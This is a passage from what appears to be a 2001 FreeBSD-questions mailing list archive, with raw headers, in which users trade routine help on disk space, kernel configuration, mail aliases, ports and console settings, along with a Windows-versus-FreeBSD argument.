(8.11.1/8.11.3) with ESMTP id fAKHdZC12293; Tue, 20 Nov 2001 09:39:35 -0800 (PST) Date: Tue, 20 Nov 2001 09:39:35 -0800 (PST) From: David Kirchner X-X-Sender: To: Anthony Atkielski Cc: Subject: Re: Mysterious boot during the night In-Reply-To: <007001c171c0$e1214cc0$0a00000a@atkielski.com> Message-ID: <20011120093811.K9030-100000@localhost> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, 20 Nov 2001, Anthony Atkielski wrote: > There is still the issue of getting prompt and guaranteed support for the > software, which is a crippling disadvantage for open-source software in > production environments, except at organizations that can afford to have > highly-qualified experts on staff. I'm beginning to wonder if you're a troll. You're already very well set in your ways (Windows is great for what I do, Open-source support sucks, blah blah). What's the point to all of this? Just trying to rile folks up in the mailing lists? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 9:41:35 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail.rpi.edu (mail.rpi.edu [128.113.22.40]) by hub.freebsd.org (Postfix) with ESMTP id D474537B41B for ; Tue, 20 Nov 2001 09:41:30 -0800 (PST) Received: from [128.113.24.47] (gilead.acs.rpi.edu [128.113.24.47]) by mail.rpi.edu (8.11.3/8.11.3) with ESMTP id fAKHfT766318; Tue, 20 Nov 2001 12:41:29 -0500 Mime-Version: 1.0 X-Sender: drosih@mail.rpi.edu Message-Id: In-Reply-To: <20011120054007.2040.qmail@web10006.mail.yahoo.com> References: <20011120054007.2040.qmail@web10006.mail.yahoo.com> Date: Tue, 20 Nov 2001 12:41:27 -0500 To: Tom Kersten , freebsd-questions@FreeBSD.ORG From: Garance A Drosihn Subject: Re: / is full!!!! Please help... Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG At 9:40 PM -0800 11/19/01, Tom Kersten wrote: >Hello all, > >My root directory is getting close to being full (97+%). >It is 45 mb....is this too small??? I symlinked the /var >directory to /usr/var after installation and thought that >45 mb would be enough...it says that 30 is sufficient in >"The Complete FreeBSD"..so I put in a little more just in >case. The Complete FreeBSD's recommendation is a little dated, as things continue to grow in size. One tactic you can use is to see how much of that disk usage is in /tmp, and maybe add another partition for /tmp instead of leaving it in '/'. -- Garance Alistair Drosehn = gad@eclipse.acs.rpi.edu Senior Systems Programmer or gad@freebsd.org Rensselaer Polytechnic Institute or drosih@rpi.edu To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 9:42:54 2001 Delivered-To: freebsd-questions@freebsd.org Received: from axel.truedestiny.net (b76168.upc-b.chello.nl [212.83.76.168]) by hub.freebsd.org (Postfix) with ESMTP id 2FD5737B419 for ; Tue, 20 Nov 2001 09:42:51 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by axel.truedestiny.net (Postfix) with ESMTP id E109E49A24; Tue, 20 Nov 2001 18:42:49 +0100 (CET) Received: by axel.truedestiny.net (Postfix, from userid 1000) id 4CAE249A23; Tue, 20 Nov 2001 18:42:47 +0100 (CET) Date: Tue, 20 Nov 2001 18:42:47 +0100 From: Axel Scheepers To: John O Holland Cc: freebsd-questions@FreeBSD.ORG Subject: Re: kernal error question Message-ID: <20011120184247.D87336@mars.thuis> Reply-To: Axel Scheepers References: <200111200128.fAK1Sc931802@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <200111200128.fAK1Sc931802@localhost.localdomain>; from holl0189@umn.edu on Mon, Nov 19, 2001 at 07:28:37PM -0600 X-Virus-Scanned: by AMaViS perl-10 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, Nov 19, 2001 at 07:28:37PM -0600, John O Holland wrote: > #device scbus # SCSI bus (required) > #device da # Direct Access (disks) > > device umass # Disks/Mass storage - Requires scbus and da Happenend to my too once, I guess we need to read a bit more carefull ;-) Either disable device umass or enable device scbus and device da, solves your problem. Gr, -- Axel Scheepers UNIX System Administrator email: axel@axel.truedestiny.net ascheepers@vianetworks.nl http://axel.truedestiny.net/~axel ------------------------------------------ Steele's Plagiarism of Somebody's Philosophy: Everybody should believe in something -- I believe I'll have another drink. ------------------------------------------ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 9:45:49 2001 Delivered-To: freebsd-questions@freebsd.org Received: from axel.truedestiny.net (b76168.upc-b.chello.nl [212.83.76.168]) by hub.freebsd.org (Postfix) with ESMTP id EFBC137B416 for ; Tue, 20 Nov 2001 09:45:45 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by axel.truedestiny.net (Postfix) with ESMTP id CC0AC49A24; Tue, 20 Nov 2001 18:45:44 +0100 (CET) Received: by axel.truedestiny.net (Postfix, from userid 1000) id 3D1F949A23; Tue, 20 Nov 2001 18:45:42 +0100 (CET) Date: Tue, 20 Nov 2001 18:45:42 +0100 From: Axel Scheepers To: Kris Kennaway Cc: Ken Bolingbroke , Gavin Weng , freebsd-questions@FreeBSD.ORG Subject: Re: how to replace the new kernel, not recompile. Message-ID: <20011120184541.E87336@mars.thuis> Reply-To: Axel Scheepers References: <002001c17163$be745300$0f01a8c0@testing.local> <20011119204902.A89738@xor.obsecurity.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011119204902.A89738@xor.obsecurity.org>; from kris@obsecurity.org on Mon, Nov 19, 2001 at 08:49:02PM -0800 X-Virus-Scanned: by AMaViS perl-10 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, Nov 19, 2001 at 08:49:02PM -0800, Kris Kennaway wrote: > > To replace the kernel, you need to also use chflags to change the access > > rights on /kernel, like this: > > > > chflags noschg /kernel > > Or, as it's usually and more properly done, 'make installkernel' > > Kris Also keep in mind that whenever you've changed the security level during install this won't work; if so set it back first, saves you a lot of time (well, it did for me a while ago :-) -- Axel Scheepers UNIX System Administrator email: axel@axel.truedestiny.net ascheepers@vianetworks.nl http://axel.truedestiny.net/~axel ------------------------------------------ Conscience is the inner voice that warns us somebody is looking -- H. L. Mencken ------------------------------------------ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 9:46:36 2001 Delivered-To: freebsd-questions@freebsd.org Received: from sploot.vicor-nb.com (sploot.vicor-nb.com [208.206.78.81]) by hub.freebsd.org (Postfix) with ESMTP id 1761737B405 for ; Tue, 20 Nov 2001 09:46:34 -0800 (PST) Received: from vicor-nb.com (localhost [127.0.0.1]) by sploot.vicor-nb.com (8.11.6/8.11.6) with ESMTP id fAKHiPI26550; Tue, 20 Nov 2001 09:44:25 -0800 (PST) (envelope-from kmarx@vicor-nb.com) Message-ID: <3BFA9679.A4ECFE29@vicor-nb.com> Date: Tue, 20 Nov 2001 09:44:25 -0800 From: Ken Marx X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.2.12 i386) X-Accept-Language: en MIME-Version: 1.0 To: "freebsd-questions@FreeBSD.ORG" Cc: kmarx@vicor-nb.com Subject: killall ? Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi, Not a big deal, but... I just installed 4.4-RELEASE on a brand new disk. There seem to be two versions of killall. They differ at least in that one supports a '-s' diagnostic-only flag in which the signal isn't sent. The source in /usr/src/usr.bin/killall/killall.c builds the -s version, but doesn't match the man page in /usr/local/man/man1 (although it does match the doc in /usr/share/man/). Here's what I see: 1. /usr/local/bin/killall: no -s, doesn't match source 2. /usr/bin/killall: supports -s, matches source Is there some good reason for this? Maybe could be cleaned up someday? k. -- Ken Marx, kmarx@vicor-nb.com This group must improve our denominator as well as our numerator - with an emphasis on the denominator - and keep the faith regarding the industry's convergence. - http://cgi.bigshed.com/~kmarx/cgi-bin/speak.cgi To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 9:47:25 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mailout00.sul.t-online.de (mailout00.sul.t-online.com [194.25.134.16]) by hub.freebsd.org (Postfix) with ESMTP id 9121537B405 for ; Tue, 20 Nov 2001 09:47:22 -0800 (PST) Received: from fwd06.sul.t-online.de by mailout00.sul.t-online.de with smtp id 166Elw-0000uV-0J; Tue, 20 Nov 2001 18:33:24 +0100 Received: from venus (520001623117-0001@[80.132.138.143]) by fmrl06.sul.t-online.com with smtp id 166Elu-01LaroC; Tue, 20 Nov 2001 18:33:22 +0100 Message-ID: <114501c171ea$12bbad60$fe00fa0a@venus> From: "Sven Huster" To: References: <20011120145239.D775@aviion.alfred.cx> Subject: Re: Dos2Unix Date: Tue, 20 Nov 2001 18:37:48 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Sender: 520001623117-0001@t-dialin.net Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG ----- Original Message ----- From: "Andrew Reid" To: "Ben Witkowski" Cc: Sent: 20 November, 2001 05:22 Subject: Re: Dos2Unix > On Mon, Nov 19, 2001 at 07:59:54PM -0800, Ben Witkowski wrote: > > > most unix systems have a dos2unix utility that removes the trailing ^M > > characters from each line. is there a comprable tool for FreeBSD, or does > > anyone know where to find the binaries (or a script) to do the job? > > # cd /usr/ports/converters/unix2dos > # make > # make install > recode should also do the trick: /usr/ports/converters/recode % recode MSDOS..Latin-1 regards Sven To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 9:55:43 2001 Delivered-To: freebsd-questions@freebsd.org Received: from pogo.caustic.org (caustic.org [64.163.147.186]) by hub.freebsd.org (Postfix) with ESMTP id 4A8EE37B405 for ; Tue, 20 Nov 2001 09:55:42 -0800 (PST) Received: from localhost (jan@localhost) by pogo.caustic.org (8.11.6/8.11.6) with ESMTP id fAKHtQe21395; Tue, 20 Nov 2001 09:55:26 -0800 (PST) (envelope-from jan@caustic.org) Date: Tue, 20 Nov 2001 09:55:26 -0800 (PST) From: "f.johan.beisser" X-X-Sender: To: Ken Marx Cc: "freebsd-questions@FreeBSD.ORG" Subject: Re: killall ? In-Reply-To: <3BFA9679.A4ECFE29@vicor-nb.com> Message-ID: <20011120095310.P16958-100000@localhost> X-Ignore: This statement isn't supposed to be read by you X-TO-THE-FBI-CIA-AND-NSA: HI! HOW YA DOIN? MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, 20 Nov 2001, Ken Marx wrote: > 1. /usr/local/bin/killall: no -s, doesn't match source > 2. /usr/bin/killall: supports -s, matches source > > Is there some good reason for this? > Maybe could be cleaned up someday? i've got a clean install of 4.4-RELEASE, with no killall in /usr/local/bin. since the freebsd source tree doesn't have anything that actually builds in to /usr/local/ (let alone, touches that directory) i doubt your extra binary is compiled on FreeBSD. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 9:56:51 2001 Delivered-To: freebsd-questions@freebsd.org Received: from operamail.com (operamail.infinite.com [199.29.68.126]) by hub.freebsd.org (Postfix) with ESMTP id C6BB037B405 for ; Tue, 20 Nov 2001 09:56:49 -0800 (PST) Received: from bro5637 [206.191.70.3] (hogtown@operamail.com) by operamail.com; Tue, 20 Nov 2001 12:56:48 -0500 X-WM-Posted-At: operamail.com; Tue, 20 Nov 01 12:56:48 -0500 Message-ID: <000301c171ed$54c26b60$660f129f@bro5637> From: "Steve Brown" To: "Jaime" , References: <20011120074229.X51617-100000@malkav.snowmoon.com> Subject: Re: Security Question. Date: Tue, 20 Nov 2001 10:40:22 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4807.1700 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG (You are forwarding root's email to your regular account, right?) I'd do that but I've not been able to figure out how. Can you help? I'm using a more or less default install of FreeBSD4.4-RELEASE (i386) with sendmail. Thanks, Steve To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 9:57:11 2001 Delivered-To: freebsd-questions@freebsd.org Received: from operamail.com (operamail.infinite.com [199.29.68.126]) by hub.freebsd.org (Postfix) with ESMTP id 5028A37B405 for ; Tue, 20 Nov 2001 09:56:58 -0800 (PST) Received: from [206.191.70.3] (hogtown@operamail.com) by operamail.com; Tue, 20 Nov 2001 12:56:50 -0500 X-WM-Posted-At: operamail.com; Tue, 20 Nov 01 12:56:50 -0500 Message-ID: <000401c171ed$5594fda0$660f129f@bro5637> From: "Steve Brown" To: "Anthony Atkielski" , References: <3BF9B12B.3D521A4D@nycap.rr.com> <0111191831240Q.60958@chip.wiegand.org> <20011119220243.A268@prayforwind.com> <009a01c171a9$4eedbee0$0a00000a@atkielski.com> <20011120061026.A2767@prayforwind.com> <013201c171b7$22d78cb0$0a00000a@atkielski.com> Subject: Re: home pc use Date: Tue, 20 Nov 2001 12:59:44 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4807.1700 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Well, yes I'd say FreeBSD is a "reasonable alternative" to Windows for a home/desktop. Is it -The Best- for this particular job? Maybe not, but it does what I need without ever crashing, price is right, and it's excellent for learning networking etc. I like Linux too (Slackware, Debian... not the GUI ones, could never get any of them to successfully install). Finally I found FreeBSD's FTP install, online doc's, and configuration slightly less "geeky" than Linux's (wanna see geeky? try a Debian install ;) works great once past it though). I'm not familiar with NT/2000 so I can't comment there. I'm not a "Microsoft hater", but I did make the mistake of buying a new OEM machine with Win98 pre-installed back when Win98 was unfit for a desktop or anything else outside a test-lab (HP replaced entire system twice thinking the PC was bad). So yes, I looked for a non-Microsoft alternative. Now that they've fixed Win98 it gets the other half of my drive... it now goes several hours before freezing up and usually reboots/shuts down when asked to do so. I keep it for 3 reasons: Internet Explorer is the best browser, OK'ing new hardware before delving into FreeBSD docs/archives/newsgroups to try and figure out how to make it work, and because I like to have the choice. FreeBSD: multiuser, webserving & networks, stable, powerful Windows: friendly to non-geeks, hardware & software compatability ----- Original Message ----- From: "Anthony Atkielski" To: "Steve Brown" ; Sent: November 20, 2001 6:33 AM Subject: Re: home pc use > Steve writes: > > > I've not seen FreeBSD just crash without explanation > > ever in a year of use. > > Given the design of UNIX, I was extremely surprised to see the system crash with > KDE. As I've said elsewhere, my best guess right now is that a bug in a video > driver took the system down. I hope and assume that KDE or even XFree is not > trying to bypass UNIX to perform privileged operations. > > > I have seen netscape whack X twice, just type > > startx again. > > Yes, and if Windows crashes, just wait for it to reboot! > > > It -is- less intuitive than Windows for sure; you'd > > better be interested in learning something about O/S > > and computers or you may be disappointed. > > Agreed. That's why it is not a realistic alternative to Windows, except perhaps > for geeks who like to learn about such things (as opposed to just using the > computer as a tool). > > > Actually I'm one of those who tried it 'cause I > > wanted a choice other thane Microsoft (Had the 1'st > > incarnation of Win98 at the time and I grew sick > > of fdisk/formatting on a weekly basis) > > And do you really think it is a realistic alternative? > > You should have tried Windows NT/2000 instead; it's a completely different OS, > despite appearances, and it is rock stable. Unfortunately, it also costs > several hundred dollars ... and if you need _server_ functionality (as opposed > to a desktop), it offers no major advantages over FreeBSD, and a number of > disadvantages. > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 10: 2:23 2001 Delivered-To: freebsd-questions@freebsd.org Received: from trinity.magpage.com (trinity.magpage.com [216.155.0.8]) by hub.freebsd.org (Postfix) with ESMTP id 33D5437B41C for ; Tue, 20 Nov 2001 10:02:19 -0800 (PST) Received: from magpage.com (poomba.magpage.com [216.155.24.136]) by trinity.magpage.com (8.11.6/8.11.3) with ESMTP id fAKI26J76645; Tue, 20 Nov 2001 13:02:07 -0500 (EST) Message-ID: <3BFA9A9E.7060904@magpage.com> Date: Tue, 20 Nov 2001 13:02:06 -0500 From: Daniel Frazier User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:0.9.5) Gecko/20011112 X-Accept-Language: en-us MIME-Version: 1.0 To: Steve Brown Cc: Jaime , questions@FreeBSD.ORG Subject: Re: Security Question. References: <20011120074229.X51617-100000@malkav.snowmoon.com> <000301c171ed$54c26b60$660f129f@bro5637> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-RRT-Status: UNKNOWN Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Steve Brown wrote: > > (You are forwarding root's email to your regular account, right?) > > > I'd do that but I've not been able to figure out how. Can you > help? I'm using a more or less default install of FreeBSD4.4-RELEASE (i386) > with sendmail. > > Thanks, Steve > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > read /etc/aliases (actually a symlink to /etc/mail/aliases). You want to uncomment the line that applies to root and replace the sample email addy with yours. -- ---------------------------------------------------------------------- Daniel Frazier Tel: 302-239-5900 Ext. 231 Systems Administrator Fax: 302-239-3909 MAGPAGE, We Power the Internet WWW: http://www.magpage.com/ "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." - Benjamin Franklin, Historical Review of Pennsylvania, 1759. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 10: 3:39 2001 Delivered-To: freebsd-questions@freebsd.org Received: from moutvdom00.kundenserver.de (moutvdom00.kundenserver.de [195.20.224.149]) by hub.freebsd.org (Postfix) with ESMTP id B52D637B417 for ; Tue, 20 Nov 2001 10:03:33 -0800 (PST) Received: from [195.20.224.208] (helo=mrvdom01.schlund.de) by moutvdom00.kundenserver.de with esmtp (Exim 2.12 #2) id 166FF4-0007qw-00; Tue, 20 Nov 2001 19:03:30 +0100 Received: from pd90172e5.dip.t-dialin.net ([217.1.114.229]) by mrvdom01.schlund.de with esmtp (Exim 2.12 #2) id 166FF4-0002ib-00; Tue, 20 Nov 2001 19:03:30 +0100 Date: Tue, 20 Nov 2001 17:01:49 +0000 (GMT) From: "P. U. (Uli) Kruppa" X-X-Sender: To: Tom Kersten Cc: Subject: Re: / is full!!!! Please help... In-Reply-To: <20011120054007.2040.qmail@web10006.mail.yahoo.com> Message-ID: <20011120164045.D46734-100000@big> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, 19 Nov 2001, Tom Kersten wrote: > Hello all, > > My root directory is getting close to being full > (97+%). It is 45 mb....is this too small??? I > symlinked the /var directory to /usr/var after > installation and thought that 45 mb would be > enough...it says that 30 is sufficient in "The > Complete FreeBSD"..so I put in a little more just in > case. Anyway, what is the best way to fix this? I read > a little bit about the 'growfs' command...but am not > sure of the *best* way to fix my problem. Any tips are > appreciated. If you need more detailed information, > please let me know... You can use # du -h -d 1 or one of its options to find out what is using your diskspace. Then you may set links to use space on your /usr partition or you even might add a new partition to /etc/fstab . It will be mounted at boot time whereever you need it. Regards, Uli. ************************************ * P. U. Kruppa - Wuppertal * * Germany * * www.pukruppa.de www.2000d.de * ************************************ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 10:14:20 2001 Delivered-To: freebsd-questions@freebsd.org Received: from chmls20.mediaone.net (chmls20.mediaone.net [24.147.1.156]) by hub.freebsd.org (Postfix) with ESMTP id 0F14A37B417 for ; Tue, 20 Nov 2001 10:14:19 -0800 (PST) Received: from sickness (faclib-0181.unh.edu [132.177.228.181]) by chmls20.mediaone.net (8.11.1/8.11.1) with ESMTP id fAKIFMx03011 for ; Tue, 20 Nov 2001 13:15:22 -0500 (EST) From: "David Loszewski" To: Subject: changing console text size? Date: Tue, 20 Nov 2001 13:13:09 -0500 Message-ID: <001801c171ef$02d68460$b5e4b184@sickness> MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.2627 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Importance: Normal Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Is there a way to change the text size of the console text. On my 19" monitor the text is huge when I'm out of X-Windows and using console instead. Dave To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 10:14:55 2001 Delivered-To: freebsd-questions@freebsd.org Received: from godzilla.fxprojects.com (godzilla.fxprojects.com [64.81.56.3]) by hub.freebsd.org (Postfix) with ESMTP id A68A837B418 for ; Tue, 20 Nov 2001 10:14:51 -0800 (PST) Received: (from michael@localhost) by godzilla.fxprojects.com (8.11.3/8.11.3) id fAKIFAD62878 for questions@FreeBSD.ORG; Tue, 20 Nov 2001 10:15:10 -0800 (PST) (envelope-from michael) Message-Id: <200111201815.fAKIFAD62878@godzilla.fxprojects.com> Subject: Re: Security Question. To: questions@FreeBSD.ORG Date: Tue, 20 Nov 2001 10:15:10 -0800 (PST) In-Reply-To: from "Daniel Frazier" at Nov 20, 2001 01:02:06 PM From: "Michael McCaffrey" X-Mailer: ELM [version 2.5 PL5] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG do "sendmail -bi" after that to update the aliases db. > > Steve Brown wrote: > > > > > (You are forwarding root's email to your regular account, right?) > > > > > > I'd do that but I've not been able to figure out how. Can you > > help? I'm using a more or less default install of FreeBSD4.4-RELEASE (i386) > > with sendmail. > > > > Thanks, Steve > > > > > > > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-questions" in the body of the message > > > > read /etc/aliases (actually a symlink to /etc/mail/aliases). You want > to uncomment the line that applies to root and replace the sample > email addy with yours. > > -- > ---------------------------------------------------------------------- > Daniel Frazier Tel: 302-239-5900 Ext. 231 > Systems Administrator Fax: 302-239-3909 > MAGPAGE, We Power the Internet WWW: http://www.magpage.com/ > > "They that can give up essential liberty to obtain a little temporary > safety deserve neither liberty nor safety." > - Benjamin Franklin, Historical Review of Pennsylvania, 1759. > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > _ _ (_)-(_) (o o) ooO--(_)--Ooo- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 10:15:21 2001 Delivered-To: freebsd-questions@freebsd.org Received: from moutvdom01.kundenserver.de (moutvdom01.kundenserver.de [195.20.224.200]) by hub.freebsd.org (Postfix) with ESMTP id 5F10D37B417 for ; Tue, 20 Nov 2001 10:15:18 -0800 (PST) Received: from [195.20.224.219] (helo=mrvdom03.schlund.de) by moutvdom01.kundenserver.de with esmtp (Exim 2.12 #2) id 166FQS-0000yG-00; Tue, 20 Nov 2001 19:15:16 +0100 Received: from pd90172e5.dip.t-dialin.net ([217.1.114.229]) by mrvdom03.schlund.de with esmtp (Exim 2.12 #2) id 166FQS-0004Fk-00; Tue, 20 Nov 2001 19:15:16 +0100 Date: Tue, 20 Nov 2001 17:13:35 +0000 (GMT) From: "P. U. (Uli) Kruppa" X-X-Sender: To: "S.W.Liu" Cc: Subject: Re: Help my about AbiWord and Staroffice60 In-Reply-To: <3BFA2F2D19A.7261SWLIU@smtp.hotpop.com> Message-ID: <20011120170321.L46734-100000@big> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I am afraid the StarOffice6-port is still quite experimental. If you need a working office suite you really should install StarOffice52 . On the other hand: if you are someone who can fix things like this, please do it and tell me. Afterwards you might have a look at AbiWord, too :-) Regards, Uli. On Tue, 20 Nov 2001, S.W.Liu wrote: > Hi, I have tried to install AbiWord and Staroffice6, All > things are right. But when I run abiword, I can't make > it run. It says: Assert ....y(n)?.... After I say two > "y", abiword crashed. (I have installed Abiword from > source and package, they have the same question). > > I have also installed Staroffice6. But when I want to > open files, I can't see any file in the Open File > dialog. Why? For Staroffice6 from the port it doesn't > support Chinese, I have downloaded the Chinese version > Staroffice(StarSuite), I have installed it directly, It > worked! But I also use its file dialog chooser to choose > file to open. Why? How to resove it? > > Best Regard. > > > To Unsubscribe: send mail to majordomo@FreeBSD.org with > "unsubscribe freebsd-questions" in the body of the > message > ************************************ * P. U. Kruppa - Wuppertal * * Germany * * www.pukruppa.de www.2000d.de * ************************************ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 10:18:57 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail.precisioncs.net (pcsi2.coast.net [207.158.140.138]) by hub.freebsd.org (Postfix) with ESMTP id 8D3D137B416 for ; Tue, 20 Nov 2001 10:18:49 -0800 (PST) content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Subject: RE: Security Question. X-MimeOLE: Produced By Microsoft Exchange V6.0.4417.0 Date: Tue, 20 Nov 2001 13:18:42 -0500 Message-ID: <819DCB4EC1D5F347B36E12976469AAD019FC52@pcsi_exchange.precisioncs.net> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Security Question. Thread-Index: AcFx70kPlseWSIuqToutJa8eTmOJVwAAHXEQ From: "Jason Taylor" To: Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG -----BEGIN PGP SIGNED MESSAGE----- 'newaliases' should work too. - -Jason > -----Original Message----- > From: Michael McCaffrey [mailto:michael@fxprojects.com] > Sent: Tuesday, November 20, 2001 13:15 > To: questions@FreeBSD.ORG > Subject: Re: Security Question. >=20 >=20 > do "sendmail -bi" after that to update the aliases db. >=20 > >=20 > > Steve Brown wrote: > >=20 > > > > > > (You are forwarding root's email to your regular account, > > > right?) > > >=20 > > > I'd do that but I've not been able to figure out how. Can you > > > help? I'm using a more or less default install of=20 > FreeBSD4.4-RELEASE (i386) > > > with sendmail. > > >=20 > > > Thanks, Steve > > >=20 > > >=20 > > >=20 > > >=20 > > >=20 > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > > with "unsubscribe freebsd-questions" in the body of the message > > >=20 > >=20 > > read /etc/aliases (actually a symlink to=20 > /etc/mail/aliases). You want > > to uncomment the line that applies to root and replace the sample > > email addy with yours. > >=20 > > --=20 > >=20 > -------------------------------------------------------------------- > --=20 > > Daniel Frazier Tel: 302-239-5900 Ext. > > 